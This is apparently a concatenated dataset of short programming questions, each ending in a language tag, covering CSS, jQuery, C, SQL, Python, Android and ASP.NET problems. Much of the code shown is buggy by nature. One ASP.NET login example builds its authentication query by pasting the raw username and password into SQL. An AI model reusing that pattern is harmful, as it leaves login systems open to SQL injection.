textcolor of descendants don t. looks like they don t get event from root.    so  can you help     update: linearlayout ll_about_fragment_feedback has bound onclicklistener and there is everything fine with selecrors,android
how do i remove the indent from an unordered list but not using css   the code is below---i want to make the change in a few places  but not across the board.   <pre><code>&lt;ul&gt;   &lt;li&gt;     &lt;div style= margin: 0px  &gt;       58% of the population is age 19 or younger (an estimated 520 000 children)  compared with 36% of the broader population.      &lt;/div&gt;   &lt;/li&gt;   &lt;li&gt;     &lt;div style= margin: 0px &gt;       3% are age 65 or older  compared with 11% of the broader population.      &lt;/div&gt;   &lt;/li&gt; &lt;/ul&gt; </code></pre>,html
transform an instruction from a css to jquery  good morning.  i would like to make a statement css:    <pre><code>#menu &gt; ul &gt; li:hover &gt; ul  </code></pre>   in a jquery.     how would   thank you. dave,jquery
vb.net system.io backup operator  i need to perform certain file operations on lots of different files. the problem is sometimes access is blocked. in robocopy we can get around these problem by putting it in backup operator mode (as long as the account you run it from is an admin or backup operator).    is there a way to access this mode from vb.net,.net
mysql query to select dates where field is null or field date value is not greater than another date  i have this <code>mysql</code> query:   <pre><code>select distinct     * from     students s         left join     (select          *     from         studentabsences a1     where         (a1.absence_date =  2013-01-28 )) a on a.absence_student_id = s.student_id         left join     (select          *     from         studentabsencenotes b1     where         (b1.absence_note_date =  2013-01-28 )     group by absence_note_student_id) b on b.absence_note_student_id = s.student_id         inner join     studentdates sd on sd.student_id = s.student_id         inner join     coursecategory ctc on s.student_course_category_id = ctc.category_id where      2013-01-28  between sd.student_startdate and sd.student_enddate order by s.student_lastname   s.student_firstname </code></pre>   now i would like to add another <code>where</code> <code>clause</code> to select rows that <strong>has not</strong> a greater <code>sd.student_break_date</code> than 2013-01-28 but also select empty fields    for example:   <pre><code>where  2013-01-28  &gt;= sd.student_break_date </code></pre>   this works but those rows that has <code>null</code> values in the <code>sd.student_break_date</code> are not listed.    messy  huh  my question is: how can i select fields that are empty and fields where date is not higher than 2013-01-28,mysql
the name xxx does not exist in the particular context  why do i keep getting the following error messages in vs whenever i try to debug my code    <pre><code>error   2   the name  password  does not exist in the current context   login.aspx.cs   22  22  team13 error   1   the name  username  does not exist in the current context   login.aspx.cs   21  27  team13 </code></pre>   here is my code for login.aspx   <pre><code> &lt;form id= loginform  runat= server &gt;     &lt;div id= login_box  runat= server &gt;         &lt;!-- login box --&gt;             &lt;asp:login id= login1  runat= server  onauthenticate= login1_authenticate  width= 293px                  height= 172px &gt;                 &lt;layouttemplate&gt;                     user name:&lt;br /&gt;                     &lt;asp:dropdownlist id= username  runat= server  datasourceid= sqldatasource1  datatextfield= dept                          datavaluefield= id  width= 200px &gt;                     &lt;/asp:dropdownlist&gt;                     &lt;asp:sqldatasource id= sqldatasource1  runat= server  connectionstring= &lt;%$ connectionstrings:team13connectionstring %&gt;                          selectcommand= select [id] [dept] from [ts_dept] order by [id] &gt;&lt;/asp:sqldatasource&gt;                     &lt;br /&gt;&lt;br /&gt;                     password:&lt;br /&gt;                     &lt;asp:textbox id= password  runat= server  textmode= password &gt;&lt;/asp:textbox&gt;                     &lt;asp:requiredfieldvalidator id= passwordrequired  runat= server  controltovalidate= password                          errormessage= password is required.  tooltip= password is required.  validationgroup= login1 &gt;*&lt;/asp:requiredfieldvalidator&gt;                     &lt;asp:checkbox id= rememberme  runat= server  text= remember me next time.  /&gt;                     &lt;asp:literal id= failuretext  runat= server  enableviewstate= false &gt;&lt;/asp:literal&gt;                     &lt;a href= http://89.200.143.163/~team13/login.php &gt;switch to pmw&lt;/a&gt;                     &lt;asp:button id= loginbutton  runat= server  commandname= login  text= log in  validationgroup= login1  /&gt;                 &lt;/layouttemplate&gt;             &lt;/asp:login&gt;         &lt;/div&gt;     &lt;/form&gt; </code></pre>   here is my code for login.aspx.cs   <pre><code>using system; using system.collections; using system.configuration; using system.data.sqlclient; using system.data; using system.linq; using system.web; using system.web.security; using system.web.ui; using system.web.ui.htmlcontrols; using system.web.ui.webcontrols; using system.web.ui.webcontrols.webparts; using system.xml.linq; using system.web.configuration;  public partial class login : system.web.ui.page {      protected void login1_authenticate(object sender  authenticateeventargs e)     {         string username = login1.username;         string pwd = login1.password;          string strconn;         strconn = webconfigurationmanager.connectionstrings[ team13connectionstring ].connectionstring;         sqlconnection conn = new sqlconnection(strconn);         conn.open();          string sqlusername;         sqlusername =  select id pass from ts_dept  ;         sqlusername +=   where (id =   + username +   ) ;         sqlusername +=   and (pass =   + pwd +   ) ;         sqlcommand com = new sqlcommand(sqlusername  conn);          string currentname;         currentname = (string)com.executescalar();          if (currentname != null)         {             session[ userauthentication ] = username;             session.timeout = 1;             response.redirect( default.aspx );         }         else         {             session[ userauthentication ] =   ;         }     }      protected void page_load(object sender  eventargs e)     {      } } </code></pre>,asp.net
pointer wrapper so i can overload operators   i have a immutable string class which is returned by a pointer (it s allowed to be null).    i wanted to overload <code>immutablestring* == const char*</code>. however it appears i can t because the left param is a pointer and it must be a nonpointer. the function does handle comparing null members i just can t overload it.    whats pointer wrapper might i use so i may use so i can do the overloading i want  preferably a standard one. i suspect i can write my own easily but my gut says boost or stl has one.,c++
jquery .load() page fragment by tagname  is it possible to load a fragment by using an element s name    <pre><code>$( .history ).load( history.php section ); </code></pre>   where  section  refers to:   <pre><code>&lt;section&gt;   ... &lt;/section&gt; </code></pre>   in this case the element is only used once on the page.,jquery
percentage height of absolutely positioned blocks  this is a question motivated by curiosity rather than an actual problem. i m trying to understand css better.    percentage height (and width) is supposed to be relative to the containing block (<a href= https://www.w3.org/tr/css21/visudet.html#propdef-height  rel= nofollow noreferrer >see here</a>).    the containing block of an absolutely positioned block is the nearest ancestor that is  positioned  (ie. absolute  relative or fixed - <a href= https://www.w3.org/tr/css21/visudet.html#containing-block-details  rel= nofollow noreferrer >see here</a>).    so i would expect the inner div in this example to span the whole available height:   <pre><code>&lt;div class= full-height &gt;    &lt;div&gt;     &lt;div id= main-block &gt;     x     &lt;/div&gt;   &lt;/div&gt;  &lt;/div&gt;  html  body  .full-height {   height: 100%;   position: relative; } </code></pre>   with this css:   <pre><code>#main-block {   height: 100%;   background-color: red; } </code></pre>   or just take <a href= https://jsfiddle.net/v4xf41ct/1/  rel= nofollow noreferrer >this fiddle</a>.    so what s going on here,css
are c++ recursive type definitions possible  in particular can i put a vector<t> within the definition of t   for one of my projects  what i really wanted to do was this (simplifying it to the bare minimum);   <pre><code>struct move {     int src;     int dst; };  struct movetree {     move move;     std::vector&lt;movetree&gt; variation; }; </code></pre>   i must admit that i assumed that it wouldn t be possible to do this directly  i thought a vector of movetree s within a movetree would be verboten. but i tried it anyway  and it works beautifully. i am using microsoft visual studio 2010 express.    is this portable   is it good practise   do i have anything to worry about      edit: i ve asked a second <a href= https://stackoverflow.com/questions/6527917/how-can-i-emulate-recursive-a-type-definition-in-c >question</a> hoping to find a good way of doing this.,c++
downloading pdf to browser  i have a php web application. i have built a function to download a pdf from an api end point like this:   <pre><code>public function importpdf($id) {     $resource = fopen( tmp/ .$id. .pdf    w );      $this-&gt;client-&gt;request( get   $this-&gt;url .  /api/users/  . $id .  /pdf   [          headers  =&gt; [              authorization  =&gt;  bearer {$this-&gt;accesstoken()}           ]           sink  =&gt; $resource      ]); } </code></pre>   this is calling a guzzle instance which is working fine and is saving the pdf file to my server. but what i need is for the pdf file to be downloaded to the users browser. if anyone could explain how this can be done i would be grateful.,php
c: make rectangle error  i wanted to make a simple rectangle with  -    |   and tons of spaces. this is the code:    <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;ctype.h&gt;  #define max_number 25  void draw_height(int height  int width) {     int i = 0;     for(i = 0; i &lt;= (height-1); i++) {         printf( | );         for(i = 0; i &lt;= (width-1); i++) {             printf(   );         }         printf( | );     } }  void draw_width(int width) {     int i = 0;     printf(   );     for(i = 0; i &lt;= width; i++) {         printf( _ );     } }  void draw_height_final(int width) {         printf( | );         int i = 0;         for(i = 0; i &lt;= (width); i++) {             printf( _ );         }         printf( | );  } //make the rectangle void make_rec(int w  int h) {     draw_width(w);     draw_height(h  w);     draw_height_final(w); }  //initiate the program int main(int argc  char *argv[]) {     int rec_width;     int rec_height;     if(isdigit(argv[1]) &amp;&amp; isdigit(argv[2])) {         rec_width = (int)argv[1];         rec_height = (int)argv[2];         if(rec_width &lt; max_number &amp;&amp; rec_height &lt; max_number) {             make_rec(rec_width  rec_height);         } else {             printf( the max value is 25 for both\n );         }     } else {         printf( inputs must be numbers\n );     }     return 0; } </code></pre>   however  when i run it in ubuntu terminal with ./ it prints   segmentation fault (core dumped).    i also noticed that the terminal told me there were casting issues on line 52 and 53.    please help!,c
how to show a loading message while uiwebview loads it s content   i want to put a big spinner along with a  loading message...  or a gif image  when uiwebview loads its contents so it won t just show a blank view. how should i do it,iphone
to refer .net dll from different folder than the exe directory  i have a structure:-      <code>\bin\debug\abc.exe</code>  and       <code>\libs\win32\xyz.dll</code>. now i need to refer <code>xyz.dll</code> so as to run my <code>abc.exe</code>. i tried with  probing  tag in <code>app.config</code> but in that case the possibility was only when i had <code> libs</code>  folder in  <code>debug</code>  folder i.e. where <code>.exe</code> is present. but i want to come 2 folders out from .exe and then go into <code>\libs\win32</code> to refer to .dll . please suggest me what should i do.,c#
jquery find within an array of elements  i have selected a bunch of li elements that meet a certain criteria like so:   <pre><code>var x = $( li[attribute= value ] ); </code></pre>   now rather than searching the dom again  i want to search x for an li tag that has a specific id. i could use a .each to search x but was wondering if there was a one line statement i could use.    something like this:   <pre><code>var myli = x.find( [id=23] ); </code></pre>   or is it faster to search the dom using the id tag. what if i wanted to search on a second attribute     please advise.    thanks!   <h1>edit</h1>   please note that i want to change the properties of myli (say make its background color red) so i need a ref to the element. thanks.,jquery
can `iterator` be used unrelated to `iterable` both directly and indirectly   in java    <ul> <li> is <code>iterator</code> always used with <code>iterable</code>    </li> <li> is <code>iterator</code> instance always created or obtained directly or indirectly via <code>iterable.iterator()</code> method  </li> <li> can <code>iterator</code> be used unrelated to <code>iterable</code> both directly and indirectly  </li> </ul>,java
display users without posts in rails  how would i query my users who have yet to write any posts  this is what i am trying:   <pre><code>u = user.joins(:posts).where( posts.size =     0) </code></pre>   output:   <pre><code>pg::undefinedcolumn: error:  column posts.size does not exist </code></pre>   trying to wrap my head around the correct sql syntax  but no luck so far,ruby-on-rails
how to change data in gridview over 2 tables   i bound a list of a linq-table to my gridview.    now i will have a foraign key information in my gridview:   <ul> <li>table user : userid  username ....</li> <li>table adresses: adressid  userid  adress ...</li> <li>1 user has x adresses</li> </ul>   now i bound normaly over    <pre><code>(from a in dc.adresses select a).tolist() </code></pre>   the linq-information to my gridview by an objectdatasource.    there is now shown the userid in id. how to show there my username insted     asp.net  c#.net 3.5,asp.net
returning a result of true if all the individual characters of pattern appear in string  i m writing a piece of js code that returns a result of true if if pattern appears in string as a substring (case sensitive) but would like to extend its functionality to returns true if all the individual characters of pattern appear in string (regardless of order).     for example:    this is what the program currently does:   <pre><code>match1( adipisci   pis ) returns true </code></pre>   whereas i would now like it to do this:   <pre><code>match1( adipisci   sciip ) returns true match2( adipisci   sciipx ) returns false because x does not exist in variable </code></pre>   i am having difficulty implementing this into my code:   <pre><code>var pages=[    lorem ipsum dolor sit amet  consectetur adipiscing elit.      nulla imperdiet laoreet neque.      praesent at gravida nisl. quisque tincidunt  est ac porta malesuada  augue lorem posuere lacus  vitae commodo purus nunc et lacus.    ]; var search_term = prompt( type in search term:    search word ); // ask which search term the user wants to search for with default being  search term   function find_s(w) {     var indexes = [0 0 0] // create an array  to hold pages where search term found     var iii = 0 // create variable to increment the number of finds in each page     for (var ii=0;ii&lt;pages.length;ii++) {     // for each page in the array         for (var i=0;i&lt;pages[ii].length;i++) {         // for each character in the chosen page             if (pages[ii].substr(i w.length).tolowercase()==w.substr(0 w.length).tolowercase()) {             // check to see if the search term is there ignoring case                 iii++;                 // increment number of times the search term in found                 while(pages[ii].substr(i 1)!=   ) {                     // move to the next word but checking for spaces                     i++;                     }             }         }         indexes[ii]=iii;         // update the number of times the search term is found in that page         iii=0;         // reset counter for next page search     }     return (w +   was found in this may times in each page   + indexes);     // let the user know the result } alert (find_s(search_term)); </code></pre>   i would appreciate any guidance into the right direction - thanking you in advance!,javascript
c error expected unqualified-id before  if    else  and    {  token  i am writing a basic program in c++. i haven t programmed in c before  so i seem to be getting some fundamental errors. the program is a small quiz. here it is:   <pre><code>#include &lt;stdio.h&gt; int main(void) int correct = 0  {   int q1;   printf( what is 24/(6-3)-7 \n  );   scanf( %d  &amp;q1) } {   int q2;   printf( what is -3x4+16 \n  );   scanf( %d  &amp;q12) }{   int q3;   printf( what is 9²(1/27) \n  );   scanf( %d  &amp;q1) }  if(q1 == 1){   correct == correct + 1 } if(){ } else if  if(q2 == 4){   correct == correct + 1 } if(q3 == 3){   correct == correct + 1 } </code></pre>   please bear in mind that i have composed this of bits and pieces picked off the internet. any suggestions would be appreciated. thank you,c
python in range within list  the concept of my problem is to identify a letter for a random number.      <code>ra_list</code> holds the random float numbers.    <code>e_list</code> holds the letter and the range.    the current code  identifies string matching and randomises between b and c letters as they have the same value.   <pre><code> ra_list = [6  7  7]  e_list = [(6   a )  (7   b )  (7   c )  (8   e )]   test_dict = {}   for key val in e_list:       test_dict.setdefault(key []).append(val)   import random  for i in ra_list:        cate = random.choice(test_dict.get(i [0]))          if cate != 0:              print i cate </code></pre>   however  my problem is that i have float numbers in <code>ra_list</code> and would like to implement ranges - i have very little python experience.  how would one manipulate the current code and solve the issue of in range   <code>e_list</code> will always be in ascending order.  for example:   <pre><code> ra_list = [6.25  7.5  7.6]  e_list = [(6   a )  (7.4   b )  (7.4   c )  (7.7   e )]  output = (6.25  a)  (7.5  b or c)  (7.6  b or c) </code></pre>   values from <code>ra_list</code> less than the first value of <code>e_list</code> should get <code>a</code> and values greater than the last value should be <code>e</code>.,python
a noob programmers first try  hey so i am currently trying to get a plane to move on a window  from each extremity to the other  following this order: from upper left to upper right  from upper right to lower right  from lower right to lower left followed by lower left to upper left. this project is forced to have an accelerated movement from the upper right to the lower right and from the lower left to the upper left. i used a switch case just like i would in java but it doesn t seem to be stopping when the plane hits the windows max width.. any help would be appreciated ...   <pre><code>    var ctx; var img; var larg = 1200; var alt = 560; var xaviao = 0; var yaviao = 0; c = 1  // parâmetros do movimento acelerado var x0 = 0; var y0 = 0; var v0 = 0; var a = 120;    // 120 px/s2 var t = 0;  function init() { canvas = document.getelementbyid( cvs ); ctx = canvas.getcontext( 2d );  canvas.setattribute( width   larg); canvas.setattribute( height   alt);  img = new image(); img.src =  aviao.png ;  gameloop(); }  function gameloop() { window.requestanimationframe(gameloop); update(); render(); }  function update() { var direction = 1; if( xaviao &gt; ( larg - img.width ) )              {         y0 = 0;         a = 120;         t = 0;         xaviao = ( larg - img.width );         direcao = 2;     }     else if ( yaviao &gt; alt - img.height )      {         yaviao = alt - aviao.height;         direction = 3;     }         else if ( xaviao &lt; 0 )      {                     xaviao = 0;         t = 0;         y0 = yaviao;         a= -120;                                  direction = 4;     }     else if ( yaviao &lt; 0 )      {                     yaviao = 0;         direction = 1;     }               switch(direction){     case 1:          xaviao +=10 ;     console.log(c);     break;     case 2:                     t += 1/60;  // time increases 60 seconds per 60 frames           yaviao = math.floor( y0 + v0*t + a*t*t );             break;     case 3:         xaviao -= 10;             break;     case 4:                          t += 1/60;  // time increases 60 seconds per 60 frames                     yaviao = math.floor( y0 + v0*t + a*t*t );                     break;                                 } }  function render() { // retângulo do fundo ctx.fillstyle =  #ffa060 ; ctx.beginpath(); ctx.rect(0 0 larg alt); ctx.fill();  // desenha o avião if(img != undefined)     ctx.drawimage(img  xaviao  yaviao); } </code></pre>,javascript
java constructor error in child class <pre><code>class person  {     string name =  no name ;      public person(string nm)     {         name = nm;     } } class employee1 extends person {     string empid = 0000 ;     public employee1(string id)     {                            // line 1         empid = id;     } } public class employeetest     {        public static void main(string[] args) {            employee1 e = new employee1( 4321 );            person p = new person( hello );            system.out.println(e.empid);        }    } </code></pre>   i get compilation error saying <code>constructor person in class person cannot be applied to given types; required string found no arguments</code> but i am passing arguments for both the parent and the child class when i create new object in main method. unable to figure out why compilation error,java
how does the   is   operator work internally  i want to compare the type of an object to a type to see if they are the same.  i do not have the object  just the type of the object.    i can do   <code>type1 == type2</code>  and get general equality    i can have a recursive loop where i repeat the above step for <code>type1.basetype</code> until the basetype is null.    i can do   <code>type1.getinterface( type2.fullname ) != null</code>  to check if type2 is an interface of type1    if i put it all together  i get   <pre><code>if ( type2.isinterface )   return type1.getinterface( type2.fullname ) != null;  while ( type1 != null ) {   if ( type1 == type2 )     return true;    type1 = type1.basetype; } return false; </code></pre>   is that all the <code>is</code> keyword is.  i cannot find the right keyword to plug into the reflector search to find the function and a google search on  is  was not really helpful,.net
how to make vertical mirror of canvas.drawbitmap for drawing app  i have created an drawing app which is working fine. now all i want is to make vertical mirror of drawing path. the code for drawing is    <pre><code>    protected void onsizechanged(int w  int h  int oldw  int oldh) {     super.onsizechanged(w  h  oldw  oldh);     canvasbitmap = bitmap.createbitmap(w  h  bitmap.config.argb_8888);     drawcanvas = new canvas(canvasbitmap); }  //draw the view - will be called after touch event @override protected void ondraw(canvas canvas) {     canvas.drawbitmap(canvasbitmap  0  0  canvaspaint);     canvas.drawpath(drawpath  drawpaint);     }  //register user touches as drawing action @override public boolean ontouchevent(motionevent event) {     float touchx = event.getx();     float touchy = event.gety();     //respond to down  move and up events     switch (event.getaction()) {     case motionevent.action_down:         drawpath.moveto(touchx  touchy);         break;     case motionevent.action_move:         drawpath.lineto(touchx  touchy);         break;     case motionevent.action_up:         drawpath.lineto(touchx  touchy);         drawcanvas.drawpath(drawpath  drawpaint);         drawpath.reset();         break;     default:         return false;     }     //redraw     invalidate();     return true;  } </code></pre>   from where i should start to make a vertical mirror of path. i searched for it and i get some info which was about    <pre><code>bitmapdrawable flip(bitmapdrawable d){ matrix m = new matrix(); m.prescale(-1  1); bitmap src = d.getbitmap(); bitmap dst = bitmap.createbitmap(src  0  0  src.getwidth()  src.getheight()       m  false); dst.setdensity(displaymetrics.density_default); return new bitmapdrawable(dst); } </code></pre>   how can i use this code in my app.  any help will be appreciated.,android
css: strange bottom margin/whitespace added to <ul>  ahhh! i asked a question regarding whitespace in my html file  and it was answered here: <a href= https://stackoverflow.com/questions/7220682/strange-bottom-margin-whitespace-added-to-ul >strange bottom margin/whitespace added to &lt;ul&gt;</a> a couple days ago. but now i am now having the same issue with a second page i have created using very much of the code from the original file.  slight differences in the layout  but the sidebar has not been altered in html  nor css.  however  now there is whitespace in my blogroll div and i still don t know why this happens.  without the why i can t fix on my own  i can just follow given instructions for the specific instance.  any help and a nudge to a good explanation of why this is happening would be helpful.    i have a  in my sidebar that is being displayed with additional whitespace at the bottom  about 150px of whitespace that is not defined in the css anywhere that i can locate. it seems that as i add paragraphs in my main content section  these p s push my blogroll div further and further down the sidebar. i am wondering if i have a conflicted rule defined in my css but can not find that either.  i m pulling my hair out here because this seems like it should be straight forward to fix  but margin-bottom: 0  padding-bottom: 0  defined height  nothing seems to work to fix it and firebug does not even show the whitespace as margin or padding.  the error only seems to surface when i add paragraphs in my main content section.      any help or advice would be greatly appreciated.    here are snippets of my css and html along with a link to the site itself.    www.niagarathistle.com/clients/weekendhousewife/post.html    tried to post my code  but kept getting errors saying i was posting images.  there wer no images posted  and  even deleted all the img tags in my html and all url calls in my css - still got the error.  sooo  if anyone willing to answer my question ca t view the source code at the url above and the css at www.niagarathistle.com/clients/weekendhousewife/css/styles.css  let me know and i will be happy to forward a text file or try to post again.,css
css calling class into other style  i don t understand why this doesn t work   <pre><code>.mix{   -moz-border-radius: 5px 5px;   border-radius: 5px 5px / 5px 5px;   -moz-box-shadow: 2px 2px 2px #888;   -webkit-box-shadow: 2px 2px 2px #888;   box-shadow: 2px 2px 2px #888; }  #adm_content_login  .mix{   top:100px;   position:relative;   width:450px;   height:200px;   margin:auto;   background-color:#ccc;   text-align:center;   border:5px solid #111; } </code></pre>   when i try to call a class into another class with <code>adm_content_login  .mix</code>   because there is no need if i use this code each time i have the same content i have in the <code>.mix</code>. i don t understand what s wrong with this code. the css works if i put it into <code>adm_content_login</code>  but if i try using this method it doesn t work.,css
how can i get the last 2 characters from a string   i have a string and i want to get the last 2 characters from it  how can i do it     <em>sample code</em>   <pre><code>char data[100][500];  fgets(data[y++]  500  f);  char *map_width  *map_height  *tile_height  *tile_width;   map_width = data[z+1]; /* equals to width=32 */ map_height = data[z+2]; /* equals to height=32 */ tile_height = data[z+4]; /* equals to tileheight=32 */ tile_width = data[z+3]; /* equals to tilewidth=32 */ </code></pre>,c
how to add it in single query without using inner joins  <pre><code>select a.cl_id  a.cl_name  a.number_of_orders  b.dispatch from (     select cl_clients.cl_id  cl_clients.cl_name count(*) as number_of_orders     from cl_clients cloi_clientorderitems     where cl_clients.cl_id = cloi_clientorderitems.cl_id     group by cl_clients.cl_name cl_clients.cl_id     ) a inner join (     select cl_clients.cl_id count(*) as dispatch     from cloi_clientorderitems cl_clients     where cloi_current_status =  12           and cl_clients.cl_id = cloi_clientorderitems.cl_id     group by cl_clients.cl_name cl_clients.cl_id  cloi_clientorderitems.cloi_current_status     ) b      on a.cl_id = b.cl_id  </code></pre>,sql
assist me get the program to read index numbers from a text file  <pre><code>void login() { string name; string username; string password; string usernamefromfile; string passwordfromfile;  ifstream infile; infile.open(name +  .txt ); cout &lt;&lt;  please enter your username \n ; cin &gt;&gt; username; } </code></pre>   i am trying to get this program to compare an entered password to one that has been saved in a text file  that would be in the index number of 1 in the text file  can someone help me,c++
rowspan changes the all td heights in internet explorer  good morning. i have a table next to it one advertisement picture 160 x 600 pixel  i used rowspan to avoid the td next to it to get height 600 pixel such as the ad image and here is my code   <pre><code>  &lt;tr align= center &gt;   &lt;td style= border:2px solid #00ffff;width:500;height:36;  align= center  valign= center &gt;&lt;font face= arial  size= 5  color= #33ffff &gt;&lt;b&gt;إسم البرنامج&lt;/b&gt;&lt;/td&gt;   &lt;td style= border:2px solid #00ffff;width:130;height:36;  align= center  valign= center &gt;&lt;font face= arial  size= 5  color= #33ffff &gt;&lt;b&gt;تاريخ الإضافة&lt;/b&gt;&lt;/td&gt;   &lt;td style= border:2px solid #00ffff;width:120;height:36;  align= center  valign= center &gt;&lt;font face= arial  size= 5  color= #33ffff &gt;&lt;b&gt;مرات العرض&lt;/b&gt;&lt;/td&gt;   &lt;td style= border:2px solid #00ffff;width:130;height:36;  align= center  valign= center &gt;&lt;font face= arial  size= 5  color= #33ffff &gt;&lt;b&gt;يعمل بنسبة %&lt;/b&gt;&lt;/td&gt;   &lt;td rowspan=36 style= border:0px solid #00ffff;width:160;height:600; &gt;&lt;a href= link  target= _blank &gt;&lt;img border= 0  src= 160x600.2.gif  width= 160  height= 600  title=   /&gt;&lt;/a&gt;&lt;/td&gt;   &lt;/tr&gt; </code></pre>   and this is a drawing  every thing works fine   <pre><code>|       | |      |       |          |          | |       | |______|_______|__________|__________| |       | |______|_______|__________|__________| |       | |______|_______|__________|__________| |       | |       | |       | |       | |       | |       | |       | |       | |       | |       | |       | |       | |       | |       | |       | |_______| </code></pre>   this is as shown above in all web browsers is fine but in internet explorer shows it as:   <pre><code>|       | |      |       |          |          | |       | |      |       |          |          | |       | |      |       |          |          | |       | |      |       |          |          | |       | |      |       |          |          | |       | |______|_______|__________|__________| |       | |      |       |          |          | |       | |      |       |          |          | |       | |      |       |          |          | |       | |      |       |          |          | |       | |______|_______|__________|__________| |       | |      |       |          |          | |       | |      |       |          |          | |       | |      |       |          |          | |       | |      |       |          |          | |       | |______|_______|__________|__________| |       | |       | |       | |_______| </code></pre>   i hope to see it works fine in internet explorer such as the other web browsers as the first drawing  sorry for my english,html
<a> tag only working on double click and not single click  hi i have a <code>&lt;a&gt;</code> tag that is working on double click but not on single click. i have a javascript function called on the tag.    can someone help on same.    below is the tag and the javascript function   <pre><code>function showpopup() {      $( #lnkattachment ).on( click   function () {         $( #divprojectattachment ).modal( toggle );     }); } </code></pre>   <code>&lt;a&gt;href= javascript:void(0);  id= lnkattachment  onclick= showpopup(); &gt;click here to view attachments!&lt;/a&gt;</code>,javascript
how to connect sql server to mojo portal with jquery sqlrun()  i am working in a mojoportal where i need to connect jquery with sql by just calling the function <code>sqlrun();</code>.     for example  we can take a div: we have to use the div id and using this call sql run  this will execute a procedure and we will get the result in the front end.,.net
making observablecollection from iqueryable  as i try this:   <pre><code>//irepository.getall&lt;companyperson&gt; returns an iqueriable //toobservablelist() extension method converts to observablecollection  var tt =         (from s in container.resolve&lt;irepository&gt;().getall&lt;company&gt;()          join t in container.resolve&lt;irepository&gt;().getall&lt;personels&gt;().toobservablelist()          on s.id equals t.companyid into k          from subset in k          select new { s  t = k }).tolist(); </code></pre>   i get this exception:   <pre><code>unable to create a constant value of type  companyperson . only primitive types ( such as int32  string  and guid ) are supported in this context. </code></pre>   and as i try this one:   <pre><code>     var tt =         (from s in container.resolve&lt;irepository&gt;().getall&lt;company&gt;()          join t in container.resolve&lt;irepository&gt;().getall&lt;personels&gt;()          on s.id equals t.companyid into k          from subset in k          select new { s  t = k }).tolist(); </code></pre>   or as i try this:   <pre><code>(from s in container.resolve&lt;irepository&gt;().getall&lt;company&gt;()              join t in container.resolve&lt;irepository&gt;().getall&lt;personels&gt;()              on s.id equals t.companyid into k              from subset in k              select new { s  t = new observablecollection&lt;companyperson&gt;(k) }).tolist(); </code></pre>   get this:   <pre><code>only parameterless constructors and initializers are supported in linq to entities. </code></pre>   toobservablelist() extension:   <pre><code>public static observablecollection&lt;t&gt; toobservablelist&lt;t&gt;(this ienumerable&lt;t&gt; data) {     observablecollection&lt;t&gt; datatoreturn = new observablecollection&lt;t&gt;();      foreach (t t in data)         datatoreturn.add(t);      return datatoreturn; } </code></pre>   no exceptions.    any suggestion     thanks.,c#
python hanging at continue when trying to read data from dataframe  i m iterating through a dataframe of file locations. if i find a file that i want then i try to unzip it and then try to rename it. if that fails then i want to continue to the next row of the dataframe. the problem is that if i call  continue  then instead of jumping back to the main for loop it jumps back to the previous for loop and then my program hangs. is there any way to specify which for loop to fall back to in case of an error     here is my psuedo code:   <pre><code>for index  row in df.iterrows(): #if something fails i want to go back here     #get the file location            for file in location: # continue  is taking me back to here which i don t want         #search for file         if file found:             file_found = true     if not file_found:         continue     else:         file_found = false     try:         #unzip file     except:         #could not unzip         continue     try:         #rename unzipped file     except:         try:             #try renaming a different way         except:             #could not rename file             continue      </code></pre>,python
problem with exit the application  iam developing an application in which there is a alertview which has 2 button saying  ok   cancel  by pressing ok button my application will exit and goto the home screen of iphone so i used exit(0) code  does apple allows to exit in this way or there is any other way to the exit from the application  please suggest some solution     thank you...,iphone
how i can get variable in the class  now i have class   <pre><code>class test{ var $var_test =  test ;  } </code></pre>   how i can get it    i think   <pre><code>$t = new test(); echo $t-&gt;var_test; </code></pre>   is this true,php
exception of type  system.outofmemoryexception  was thrown for just 10000 records  i am getting this error when a user tries to upload data in excel sheet(.xlsx). its not a permanent issue. i used to get this issue maybe like once in a week. but today its happening frequently.   <pre><code>    private void exporttoexcelopenoffice(datatable datadump)     {          long  empuserid = null;         bool showteamdata = false;          if (this.isuserentryvalid())         {             if (currentuser.details.usertype == usertype.user)             {                 empuserid = currentuser.details.employeeuserid;                 showteamdata = true;             }              if (datadump.isvalid(true))             {                 // excelhelper.toexcel(datadump   elogger_datadump.xls   this.response);                 // richexcelhelper.toexcel(datadump   elogger_datadump.xls   this.response);                  using (excelpackage pck = new excelpackage())                 {                     excelworksheet ws = pck.workbook.worksheets.add( page 1 );                     ws.cells[ a1 ].loadfromdatatable(datadump  true);                      //write it back to the client                     response.contenttype =  application/vnd.openxmlformats-officedocument.spreadsheetml.sheet ;                     response.addheader( content-disposition    attachment;  filename=elogger_datadump.xlsx );                     response.binarywrite(pck.getasbytearray());                     response.flush();                     response.end();                 }              }             else             {                 lblmessage.visible = true;                 lblmessage.text =  no records found. ;             }         }         else         {             lblmessage.visible = true;             lblmessage.text = this.errormessage;         }     } </code></pre>,asp.net
sql select statement  i need to make an sql select statement where i will join tables(or get the value from joined table) only if condition is met  is this possible      i have an order table where i have user ids  but i also have random generated ids for users who ordered as guests. and i want to join users table on orders table  with that id  but when the id is randomly generated i want to return only values from order table because there are not records in user table for that id.    i have only this  which will write rows where user_id exists in both tables    <pre><code>$sql =  select orders.id_o  orders.user_id  orders.price  users.username  from orders join users  on orders.user_id = users.id   order by order_date asc ; </code></pre>,sql
c++ equivalent of  super    in java  instead of using the scope operator  super is used ex:   <pre><code>c++ -&gt; genericbase::somevirtualfunction(); java -&gt; super.somevirtualmethod(); </code></pre>   is there something like this in c++ or does this not make sense in c++ because of multiple inheritance     thanks,c++
query a related table in self rails  i have the following relationship:   <pre><code>class user    has_many :followed_users  :through =&gt; :relationships  source: :followed </code></pre>   when i say <code>user.last.followed_users</code> in the console  this works. however  when i create a method in the <code>user</code> class that uses <code>self.followed_users</code> this fails. i want to be able to call <code>followed_users</code> within the model that implements it. any help     error message says that the method <code>followed_users</code> doesn t exist.,ruby-on-rails
